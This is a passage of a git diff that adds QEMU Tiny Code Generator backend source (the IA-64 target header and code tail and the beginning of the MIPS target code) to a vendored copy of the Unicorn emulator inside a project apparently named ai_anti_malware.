INSN_NOP_M, + tcg_opc_i21(TCG_REG_P0, OPC_MOV_I21, + TCG_REG_B0, TCG_REG_R33, 0), + tcg_opc_a4 (TCG_REG_P0, OPC_ADDS_A4, + TCG_REG_R12, frame_size, TCG_REG_R12)); + tcg_out_bundle(s, miB, + INSN_NOP_M, + tcg_opc_i26(TCG_REG_P0, OPC_MOV_I_I26, + TCG_REG_PFS, TCG_REG_R34), + tcg_opc_b4 (TCG_REG_P0, OPC_BR_RET_SPTK_MANY_B4, + TCG_REG_B0)); +} + +static void tcg_target_init(TCGContext *s) +{ + tcg_regset_set(s->tcg_target_available_regs[TCG_TYPE_I32], + 0xffffffffffffffffull); + tcg_regset_set(s->tcg_target_available_regs[TCG_TYPE_I64], + 0xffffffffffffffffull); + + tcg_regset_clear(s->tcg_target_call_clobber_regs); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R8); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R9); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R10); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R11); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R14); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R15); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R16); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R17); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R18); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R19); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R20); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R21); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R22); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R23); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R24); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R25); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R26); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R27); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R28); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R29); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R30); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R31); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R56); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R57); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R58); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R59); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R60); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R61); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R62); + tcg_regset_set_reg(s->tcg_target_call_clobber_regs, TCG_REG_R63); + + tcg_regset_clear(s->reserved_regs); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R0); /* zero register */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R1); /* global pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R2); /* internal use */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R3); /* internal use */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R12); /* stack pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R13); /* thread pointer */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R33); /* return address */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R34); /* PFS */ + + /* The following 4 are not in use, are call-saved, but *not* saved + by the prologue. Therefore we cannot use them without modifying + the prologue. There doesn't seem to be any good reason to use + these as opposed to the windowed registers. */ + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R4); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R5); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R6); + tcg_regset_set_reg(s->reserved_regs, TCG_REG_R7); + + tcg_add_target_add_op_defs(s, ia64_op_defs); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.h b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.h new file mode 100644 index 0000000..b8b2693 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/ia64/tcg-target.h @@ -0,0 +1,183 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2009-2010 Aurelien Jarno + * Based on i386/tcg-target.c - Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ +#ifndef TCG_TARGET_IA64 +#define TCG_TARGET_IA64 1 + +#define TCG_TARGET_INSN_UNIT_SIZE 16 +typedef struct { + uint64_t QEMU_ALIGN(16, lo); + uint64_t hi; +} tcg_insn_unit; + +/* We only map the first 64 registers */ +#define TCG_TARGET_NB_REGS 64 +typedef enum { + TCG_REG_R0 = 0, + TCG_REG_R1, + TCG_REG_R2, + TCG_REG_R3, + TCG_REG_R4, + TCG_REG_R5, + TCG_REG_R6, + TCG_REG_R7, + TCG_REG_R8, + TCG_REG_R9, + TCG_REG_R10, + TCG_REG_R11, + TCG_REG_R12, + TCG_REG_R13, + TCG_REG_R14, + TCG_REG_R15, + TCG_REG_R16, + TCG_REG_R17, + TCG_REG_R18, + TCG_REG_R19, + TCG_REG_R20, + TCG_REG_R21, + TCG_REG_R22, + TCG_REG_R23, + TCG_REG_R24, + TCG_REG_R25, + TCG_REG_R26, + TCG_REG_R27, + TCG_REG_R28, + TCG_REG_R29, + TCG_REG_R30, + TCG_REG_R31, + TCG_REG_R32, + TCG_REG_R33, + TCG_REG_R34, + TCG_REG_R35, + TCG_REG_R36, + TCG_REG_R37, + TCG_REG_R38, + TCG_REG_R39, + TCG_REG_R40, + TCG_REG_R41, + TCG_REG_R42, + TCG_REG_R43, + TCG_REG_R44, + TCG_REG_R45, + TCG_REG_R46, + TCG_REG_R47, + TCG_REG_R48, + TCG_REG_R49, + TCG_REG_R50, + TCG_REG_R51, + TCG_REG_R52, + TCG_REG_R53, + TCG_REG_R54, + TCG_REG_R55, + TCG_REG_R56, + TCG_REG_R57, + TCG_REG_R58, + TCG_REG_R59, + TCG_REG_R60, + TCG_REG_R61, + TCG_REG_R62, + TCG_REG_R63, + + TCG_AREG0 = TCG_REG_R32, +} TCGReg; + +#define TCG_CT_CONST_ZERO 0x100 +#define TCG_CT_CONST_S22 0x200 + +/* used for function call generation */ +#define TCG_REG_CALL_STACK TCG_REG_R12 +#define TCG_TARGET_STACK_ALIGN 16 +#define TCG_TARGET_CALL_STACK_OFFSET 16 + +/* optional instructions */ +#define TCG_TARGET_HAS_div_i32 0 +#define TCG_TARGET_HAS_rem_i32 0 +#define TCG_TARGET_HAS_div_i64 0 +#define TCG_TARGET_HAS_rem_i64 0 +#define TCG_TARGET_HAS_andc_i32 1 +#define TCG_TARGET_HAS_andc_i64 1 +#define TCG_TARGET_HAS_bswap16_i32 1 +#define TCG_TARGET_HAS_bswap16_i64 1 +#define TCG_TARGET_HAS_bswap32_i32 1 +#define TCG_TARGET_HAS_bswap32_i64 1 +#define TCG_TARGET_HAS_bswap64_i64 1 +#define TCG_TARGET_HAS_eqv_i32 1 +#define TCG_TARGET_HAS_eqv_i64 1 +#define TCG_TARGET_HAS_ext8s_i32 1 +#define TCG_TARGET_HAS_ext16s_i32 1 +#define TCG_TARGET_HAS_ext8s_i64 1 +#define TCG_TARGET_HAS_ext16s_i64 1 +#define TCG_TARGET_HAS_ext32s_i64 1 +#define TCG_TARGET_HAS_ext8u_i32 1 +#define TCG_TARGET_HAS_ext16u_i32 1 +#define TCG_TARGET_HAS_ext8u_i64 1 +#define TCG_TARGET_HAS_ext16u_i64 1 +#define TCG_TARGET_HAS_ext32u_i64 1 +#define TCG_TARGET_HAS_nand_i32 1 +#define TCG_TARGET_HAS_nand_i64 1 +#define TCG_TARGET_HAS_nor_i32 1 +#define TCG_TARGET_HAS_nor_i64 1 +#define TCG_TARGET_HAS_orc_i32 1 +#define TCG_TARGET_HAS_orc_i64 1 +#define TCG_TARGET_HAS_rot_i32 1 +#define TCG_TARGET_HAS_rot_i64 1 +#define TCG_TARGET_HAS_movcond_i32 1 +#define TCG_TARGET_HAS_movcond_i64 1 +#define TCG_TARGET_HAS_deposit_i32 1 +#define TCG_TARGET_HAS_deposit_i64 1 +#define TCG_TARGET_HAS_add2_i32 0 +#define TCG_TARGET_HAS_add2_i64 0 +#define TCG_TARGET_HAS_sub2_i32 0 +#define TCG_TARGET_HAS_sub2_i64 0 +#define TCG_TARGET_HAS_mulu2_i32 0 +#define TCG_TARGET_HAS_mulu2_i64 0 +#define TCG_TARGET_HAS_muls2_i32 0 +#define TCG_TARGET_HAS_muls2_i64 0 +#define TCG_TARGET_HAS_muluh_i32 0 +#define TCG_TARGET_HAS_muluh_i64 0 +#define TCG_TARGET_HAS_mulsh_i32 0 +#define TCG_TARGET_HAS_mulsh_i64 0 +#define TCG_TARGET_HAS_trunc_shr_i32 0 + +#define TCG_TARGET_deposit_i32_valid(ofs, len) ((len) <= 16) +#define TCG_TARGET_deposit_i64_valid(ofs, len) ((len) <= 16) + +/* optional instructions automatically implemented */ +#define TCG_TARGET_HAS_neg_i32 0 /* sub r1, r0, r3 */ +#define TCG_TARGET_HAS_neg_i64 0 /* sub r1, r0, r3 */ +#define TCG_TARGET_HAS_not_i32 0 /* xor r1, -1, r3 */ +#define TCG_TARGET_HAS_not_i64 0 /* xor r1, -1, r3 */ + +static inline void flush_icache_range(uintptr_t start, uintptr_t stop) +{ + start = start & ~(32UL - 1UL); + stop = (stop + (32UL - 1UL)) & ~(32UL - 1UL); + + for (; start < stop; start += 32UL) { + asm volatile ("fc.i %0" :: "r" (start)); + } + asm volatile (";;sync.i;;srlz.i;;"); +} + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.c b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.c new file mode 100644 index 0000000..3b53bb7 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/tcg/mips/tcg-target.c @@ -0,0 +1,1816 @@ +/* + * Tiny Code Generator for QEMU + * + * Copyright (c) 2008-2009 Arnaud Patard + * Copyright (c) 2009 Aurelien Jarno + * Based on i386/tcg-target.c - Copyright (c) 2008 Fabrice Bellard + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL + * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + +#include "tcg-be-ldst.h" + +#ifdef HOST_WORDS_BIGENDIAN +# define MIPS_BE 1 +#else +# define MIPS_BE 0 +#endif + +#define LO_OFF (MIPS_BE * 4) +#define HI_OFF (4 - LO_OFF) + +#ifndef NDEBUG +static const char * const tcg_target_reg_names[TCG_TARGET_NB_REGS] = { + "zero", + "at", + "v0", + "v1", + "a0", + "a1", + "a2", + "a3", + "t0", + "t1", + "t2", + "t3", + "t4", + "t5", + "t6", + "t7", + "s0", + "s1", + "s2", + "s3", + "s4", + "s5", + "s6", + "s7", + "t8", + "t9", + "k0", + "k1", + "gp", + "sp", + "s8", + "ra", +}; +#endif + +#define TCG_TMP0 TCG_REG_AT +#define TCG_TMP1 TCG_REG_T9 + +/* check if we really need so many registers :P */ +static const TCGReg tcg_target_reg_alloc_order[] = { + /* Call saved registers. */ + TCG_REG_S0, + TCG_REG_S1, + TCG_REG_S2, + TCG_REG_S3, + TCG_REG_S4, + TCG_REG_S5, + TCG_REG_S6, + TCG_REG_S7, + TCG_REG_S8, + + /* Call clobbered registers. */ + TCG_REG_T0, + TCG_REG_T1, + TCG_REG_T2, + TCG_REG_T3, + TCG_REG_T4, + TCG_REG_T5, + TCG_REG_T6, + TCG_REG_T7, + TCG_REG_T8, + TCG_REG_T9, + TCG_REG_V1, + TCG_REG_V0, + + /* Argument registers, opposite order of allocation. */ + TCG_REG_A3, + TCG_REG_A2, + TCG_REG_A1, + TCG_REG_A0, +}; + +static const TCGReg tcg_target_call_iarg_regs[4] = { + TCG_REG_A0, + TCG_REG_A1, + TCG_REG_A2, + TCG_REG_A3 +}; + +static const TCGReg tcg_target_call_oarg_regs[2] = { + TCG_REG_V0, + TCG_REG_V1 +}; + +static tcg_insn_unit *tb_ret_addr; + +static inline uint32_t reloc_pc16_val(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + /* Let the compiler perform the right-shift as part of the arithmetic. */ + ptrdiff_t disp = target - (pc + 1); + assert(disp == (int16_t)disp); + return disp & 0xffff; +} + +static inline void reloc_pc16(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + *pc = deposit32(*pc, 0, 16, reloc_pc16_val(pc, target)); +} + +static inline uint32_t reloc_26_val(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + assert((((uintptr_t)pc ^ (uintptr_t)target) & 0xf0000000) == 0); + return ((uintptr_t)target >> 2) & 0x3ffffff; +} + +static inline void reloc_26(tcg_insn_unit *pc, tcg_insn_unit *target) +{ + *pc = deposit32(*pc, 0, 26, reloc_26_val(pc, target)); +} + +static void patch_reloc(tcg_insn_unit *code_ptr, int type, + intptr_t value, intptr_t addend) +{ + assert(type == R_MIPS_PC16); + assert(addend == 0); + reloc_pc16(code_ptr, (tcg_insn_unit *)value); +} + +#define TCG_CT_CONST_ZERO 0x100 +#define TCG_CT_CONST_U16 0x200 /* Unsigned 16-bit: 0 - 0xffff. */ +#define TCG_CT_CONST_S16 0x400 /* Signed 16-bit: -32768 - 32767 */ +#define TCG_CT_CONST_P2M1 0x800 /* Power of 2 minus 1. */ +#define TCG_CT_CONST_N16 0x1000 /* "Negatable" 16-bit: -32767 - 32767 */ + +static inline bool is_p2m1(tcg_target_long val) +{ + return val && ((val + 1) & val) == 0; +} + +/* parse target specific constraints */ +static int target_parse_constraint(TCGArgConstraint *ct, const char **pct_str) +{ + const char *ct_str; + + ct_str = *pct_str; + switch(ct_str[0]) { + case 'r': + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffff); + break; + case 'L': /* qemu_ld output arg constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_V0); + break; + case 'l': /* qemu_ld input arg constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A0); +#if defined(CONFIG_SOFTMMU) + if (TARGET_LONG_BITS == 64) { + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A2); + } +#endif + break; + case 'S': /* qemu_st constraint */ + ct->ct |= TCG_CT_REG; + tcg_regset_set(ct->u.regs, 0xffffffff); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A0); +#if defined(CONFIG_SOFTMMU) + if (TARGET_LONG_BITS == 32) { + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A1); + } else { + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A2); + tcg_regset_reset_reg(ct->u.regs, TCG_REG_A3); + } +#endif + break; + case 'I': + ct->ct |= TCG_CT_CONST_U16; + break; + case 'J': + ct->ct |= TCG_CT_CONST_S16; + break; + case 'K': + ct->ct |= TCG_CT_CONST_P2M1; + break; + case 'N': + ct->ct |= TCG_CT_CONST_N16; + break; + case 'Z': + /* We are cheating a bit here, using the fact that the register + ZERO is also the register number 0. Hence there is no need + to check for const_args in each instruction. */ + ct->ct |= TCG_CT_CONST_ZERO; + break; + default: + return -1; + } + ct_str++; + *pct_str = ct_str; + return 0; +} + +/* test if a constant matches the constraint */ +static inline int tcg_target_const_match(tcg_target_long val, TCGType type, + const TCGArgConstraint *arg_ct) +{ + int ct; + ct = arg_ct->ct; + if (ct & TCG_CT_CONST) { + return 1; + } else if ((ct & TCG_CT_CONST_ZERO) && val == 0) { + return 1; + } else if ((ct & TCG_CT_CONST_U16) && val == (uint16_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_S16) && val == (int16_t)val) { + return 1; + } else if ((ct & TCG_CT_CONST_N16) && val >= -32767 && val <= 32767) { + return 1; + } else if ((ct & TCG_CT_CONST_P2M1) + && use_mips32r2_instructions && is_p2m1(val)) { + return 1; + } + return 0; +} + +/* instruction opcodes */ +typedef enum { + OPC_J = 0x02 << 26, + OPC_JAL = 0x03 << 26, + OPC_BEQ = 0x04 << 26, + OPC_BNE = 0x05 << 26, + OPC_BLEZ = 0x06 << 26, + OPC_BGTZ = 0x07 << 26, + OPC_ADDIU = 0x09 << 26, + OPC_SLTI = 0x0A << 26, + OPC_SLTIU = 0x0B << 26, + OPC_ANDI = 0x0C << 26, + OPC_ORI = 0x0D << 26, + OPC_XORI = 0x0E << 26, + OPC_LUI = 0x0F << 26, + OPC_LB = 0x20 << 26, + OPC_LH = 0x21 << 26, + OPC_LW = 0x23 << 26, + OPC_LBU = 0x24 << 26, + OPC_LHU = 0x25 << 26, + OPC_LWU = 0x27 << 26, + OPC_SB = 0x28 << 26, + OPC_SH = 0x29 << 26, + OPC_SW = 0x2B << 26, + + OPC_SPECIAL = 0x00 << 26, + OPC_SLL = OPC_SPECIAL | 0x00, + OPC_SRL = OPC_SPECIAL | 0x02, + OPC_ROTR = OPC_SPECIAL | (0x01 << 21) | 0x02, + OPC_SRA = OPC_SPECIAL | 0x03, + OPC_SLLV = OPC_SPECIAL | 0x04, + OPC_SRLV = OPC_SPECIAL | 0x06, + OPC_ROTRV = OPC_SPECIAL | (0x01 << 6) | 0x06, + OPC_SRAV = OPC_SPECIAL | 0x07, + OPC_JR = OPC_SPECIAL | 0x08, + OPC_JALR = OPC_SPECIAL | 0x09, + OPC_MOVZ = OPC_SPECIAL | 0x0A, + OPC_MOVN = OPC_SPECIAL | 0x0B, + OPC_MFHI = OPC_SPECIAL | 0x10, + OPC_MFLO = OPC_SPECIAL | 0x12, + OPC_MULT = OPC_SPECIAL | 0x18, + OPC_MULTU = OPC_SPECIAL | 0x19, + OPC_DIV = OPC_SPECIAL | 0x1A, + OPC_DIVU = OPC_SPECIAL | 0x1B, + OPC_ADDU = OPC_SPECIAL | 0x21, + OPC_SUBU = OPC_SPECIAL | 0x23, + OPC_AND = OPC_SPECIAL | 0x24, + OPC_OR = OPC_SPECIAL | 0x25, + OPC_XOR = OPC_SPECIAL | 0x26, + OPC_NOR = OPC_SPECIAL | 0x27, + OPC_SLT = OPC_SPECIAL | 0x2A, + OPC_SLTU = OPC_SPECIAL | 0x2B, + + OPC_REGIMM = 0x01 << 26, + OPC_BLTZ = OPC_REGIMM | (0x00 << 16), + OPC_BGEZ = OPC_REGIMM | (0x01 << 16), + + OPC_SPECIAL2 = 0x1c << 26, + OPC_MUL = OPC_SPECIAL2 | 0x002, + + OPC_SPECIAL3 = 0x1f << 26, + OPC_EXT = OPC_SPECIAL3 | 0x000, + OPC_INS = OPC_SPECIAL3 | 0x004, + OPC_WSBH = OPC_SPECIAL3 | 0x0a0, + OPC_SEB = OPC_SPECIAL3 | 0x420, + OPC_SEH = OPC_SPECIAL3 | 0x620, +} MIPSInsn; + +/* + * Type reg + */ +static inline void tcg_out_opc_reg(TCGContext *s, MIPSInsn opc, + TCGReg rd, TCGReg rs, TCGReg rt) +{ + int32_t inst; + + inst = opc; + inst |= (rs & 0x1F) << 21; + inst |= (rt & 0x1F) << 16; + inst |= (rd & 0x1F) << 11; + tcg_out32(s, inst); +} + +/* + * Type immediate + */ +static inline void tcg_out_opc_imm(TCGContext *s, MIPSInsn opc, + TCGReg rt, TCGReg rs, TCGArg imm) +{ + int32_t inst; + + inst = opc; + inst |= (rs & 0x1F) << 21; + inst |= (rt & 0x1F) << 16; + inst |= (imm & 0xffff); + tcg_out32(s, inst); +} + +/* + * Type bitfield + */ +static inline void tcg_out_opc_bf(TCGContext *s, MIPSInsn opc, TCGReg rt, + TCGReg rs, int msb, int lsb) +{ + int32_t inst; + + inst = opc; + inst |= (rs & 0x1F) << 21; + inst |= (rt & 0x1F) << 16; + inst |= (msb & 0x1F) << 11; + inst |= (lsb & 0x1F) << 6; + tcg_out32(s, inst); +} + +/* + * Type branch + */ +static inline void tcg_out_opc_br(TCGContext *s, MIPSInsn opc, + TCGReg rt, TCGReg rs) +{ + /* We pay attention here to not modify the branch target by reading + the existing value and using it again. This ensure that caches and + memory are kept coherent during retranslation. */ + uint16_t offset = (uint16_t)*s->code_ptr; + + tcg_out_opc_imm(s, opc, rt, rs, offset); +} + +/* + * Type sa + */ +static inline void tcg_out_opc_sa(TCGContext *s, MIPSInsn opc, + TCGReg rd, TCGReg rt, TCGArg sa) +{ + int32_t inst; + + inst = opc; + inst |= (rt & 0x1F) << 16; + inst |= (rd & 0x1F) << 11; + inst |= (sa & 0x1F) << 6; + tcg_out32(s, inst); + +} + +/* + * Type jump. + * Returns true if the branch was in range and the insn was emitted. + */ +static bool tcg_out_opc_jmp(TCGContext *s, MIPSInsn opc, void *target) +{ + uintptr_t dest = (uintptr_t)target; + uintptr_t from = (uintptr_t)s->code_ptr + 4; + int32_t inst; + + /* The pc-region branch happens within the 256MB region of + the delay slot (thus the +4). */ + if ((from ^ dest) & -(1 << 28)) { + return false; + } + assert((dest & 3) == 0); + + inst = opc; + inst |= (dest >> 2) & 0x3ffffff; + tcg_out32(s, inst); + return true; +} + +static inline void tcg_out_nop(TCGContext *s) +{ + tcg_out32(s, 0); +} + +static inline void tcg_out_mov(TCGContext *s, TCGType type, + TCGReg ret, TCGReg arg) +{ + /* Simple reg-reg move, optimising out the 'do nothing' case */ + if (ret != arg) { + tcg_out_opc_reg(s, OPC_ADDU, ret, arg, TCG_REG_ZERO); + } +} + +static inline void tcg_out_movi(TCGContext *s, TCGType type, + TCGReg reg, tcg_target_long arg) +{ + if (arg == (int16_t)arg) { + tcg_out_opc_imm(s, OPC_ADDIU, reg, TCG_REG_ZERO, arg); + } else if (arg == (uint16_t)arg) { + tcg_out_opc_imm(s, OPC_ORI, reg, TCG_REG_ZERO, arg); + } else { + tcg_out_opc_imm(s, OPC_LUI, reg, TCG_REG_ZERO, arg >> 16); + if (arg & 0xffff) { + tcg_out_opc_imm(s, OPC_ORI, reg, reg, arg & 0xffff); + } + } +} + +static inline void tcg_out_bswap16(TCGContext *s, TCGReg ret, TCGReg arg) +{ + if (use_mips32r2_instructions) { + tcg_out_opc_reg(s, OPC_WSBH, ret, 0, arg); + } else { + /* ret and arg can't be register at */ + if (ret == TCG_TMP0 || arg == TCG_TMP0) { + tcg_abort(); + } + + tcg_out_opc_sa(s, OPC_SRL, TCG_TMP0, arg, 8); + tcg_out_opc_sa(s, OPC_SLL, ret, arg, 8); + tcg_out_opc_imm(s, OPC_ANDI, ret, ret, 0xff00); + tcg_out_opc_reg(s, OPC_OR, ret, ret, TCG_TMP0); + } +} + +static inline void tcg_out_bswap16s(TCGContext *s, TCGReg ret, TCGReg arg) +{ + if (use_mips32r2_instructions) { + tcg_out_opc_reg(s, OPC_WSBH, ret, 0, arg); + tcg_out_opc_reg(s, OPC_SEH, ret, 0, ret); + } else { + /* ret and arg can't be register at */ + if (ret == TCG_TMP0 || arg == TCG_TMP0) { + tcg_abort(); + } + + tcg_out_opc_sa(s, OPC_SRL, TCG_TMP0, arg, 8); + tcg_out_opc_sa(s, OPC_SLL, ret, arg, 24); + tcg_out_opc_sa(s, OPC_SRA, ret, ret, 16); + tcg_out_opc_reg(s, OPC_OR, ret, ret, TCG_TMP0); + } +} + +static inline void tcg_out_bswap32(TCGContext *s, TCGReg ret, TCGReg arg) +{ + if (use_mips32r2_instructions) { + tcg_out_opc_reg(s, OPC_WSBH, ret, 0, arg); + tcg_out_opc_sa(s, OPC_ROTR, ret, ret, 16); + } else { + /* ret and arg must be different and can't be register at */ + if (ret == arg || ret == TCG_TMP0 || arg == TCG_TMP0) { + tcg_abort(); + } + + tcg_out_opc_sa(s, OPC_SLL, ret, arg, 24); + + tcg_out_opc_sa(s, OPC_SRL, TCG_TMP0, arg, 24); + tcg_out_opc_reg(s, OPC_OR, ret, ret, TCG_TMP0); + + tcg_out_opc_imm(s, OPC_ANDI, TCG_TMP0, arg, 0xff00); + tcg_out_opc_sa(s, OPC_SLL, TCG_TMP0, TCG_TMP0, 8); + tcg_out_opc_reg(s, OPC_OR, ret, ret, TCG_TMP0); + + tcg_out_opc_sa(s, OPC_SRL, TCG_TMP0, arg, 8); + tcg_out_opc_imm(s, OPC_ANDI, TCG_TMP0, TCG_TMP0, 0xff00); + tcg_out_opc_reg(s, OPC_OR, ret, ret, TCG_TMP0); + } +} + +static inline void tcg_out_ext8s(TCGContext *s, TCGReg ret, TCGReg arg) +{ + if (use_mips32r2_instructions) { + tcg_out_opc_reg(s, OPC_SEB, ret, 0, arg); + } else { + tcg_out_opc_sa(s, OPC_SLL, ret, arg, 24); + tcg_out_opc_sa(s, OPC_SRA, ret, ret, 24); + } +} + +static inline void tcg_out_ext16s(TCGContext *s, TCGReg ret, TCGReg arg) +{ + if (use_mips32r2_instructions) { + tcg_out_opc_reg(s, OPC_SEH, ret, 0, arg); + } else { + tcg_out_opc_sa(s, OPC_SLL, ret, arg, 16); + tcg_out_opc_sa(s, OPC_SRA, ret, ret, 16); + } +} + +static void tcg_out_ldst(TCGContext *s, MIPSInsn opc, TCGReg data, + TCGReg addr, intptr_t ofs) +{ + int16_t lo = ofs; + if (ofs != lo) { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, ofs - lo); + if (addr != TCG_REG_ZERO) { + tcg_out_opc_reg(s, OPC_ADDU, TCG_TMP0, TCG_TMP0, addr); + } + addr = TCG_TMP0; + } + tcg_out_opc_imm(s, opc, data, addr, lo); +} + +static inline void tcg_out_ld(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, OPC_LW, arg, arg1, arg2); +} + +static inline void tcg_out_st(TCGContext *s, TCGType type, TCGReg arg, + TCGReg arg1, intptr_t arg2) +{ + tcg_out_ldst(s, OPC_SW, arg, arg1, arg2); +} + +static inline void tcg_out_addi(TCGContext *s, TCGReg reg, TCGArg val) +{ + if (val == (int16_t)val) { + tcg_out_opc_imm(s, OPC_ADDIU, reg, reg, val); + } else { + tcg_out_movi(s, TCG_TYPE_PTR, TCG_TMP0, val); + tcg_out_opc_reg(s, OPC_ADDU, reg, reg, TCG_TMP0); + } +} + +/* Bit 0 set if inversion required; bit 1 set if swapping required. */ +#define MIPS_CMP_INV 1 +#define MIPS_CMP_SWAP 2 + +static const uint8_t mips_cmp_map[16] = { + [TCG_COND_LT] = 0, + [TCG_COND_LTU] = 0, + [TCG_COND_GE] = MIPS_CMP_INV, + [TCG_COND_GEU] = MIPS_CMP_INV, + [TCG_COND_LE] = MIPS_CMP_INV | MIPS_CMP_SWAP, + [TCG_COND_LEU] = MIPS_CMP_INV | MIPS_CMP_SWAP, + [TCG_COND_GT] = MIPS_CMP_SWAP, + [TCG_COND_GTU] = MIPS_CMP_SWAP, +}; + +static void tcg_out_setcond(TCGContext *s, TCGCond cond, TCGReg ret, + TCGReg arg1, TCGReg arg2) +{ + MIPSInsn s_opc = OPC_SLTU; + int cmp_map; + + switch (cond) { + case TCG_COND_EQ: + if (arg2 != 0) { + tcg_out_opc_reg(s, OPC_XOR, ret, arg1, arg2); + arg1 = ret; + } + tcg_out_opc_imm(s, OPC_SLTIU, ret, arg1, 1); + break; + + case TCG_COND_NE: + if (arg2 != 0) { + tcg_out_opc_reg(s, OPC_XOR, ret, arg1, arg2); + arg1 = ret; + } + tcg_out_opc_reg(s, 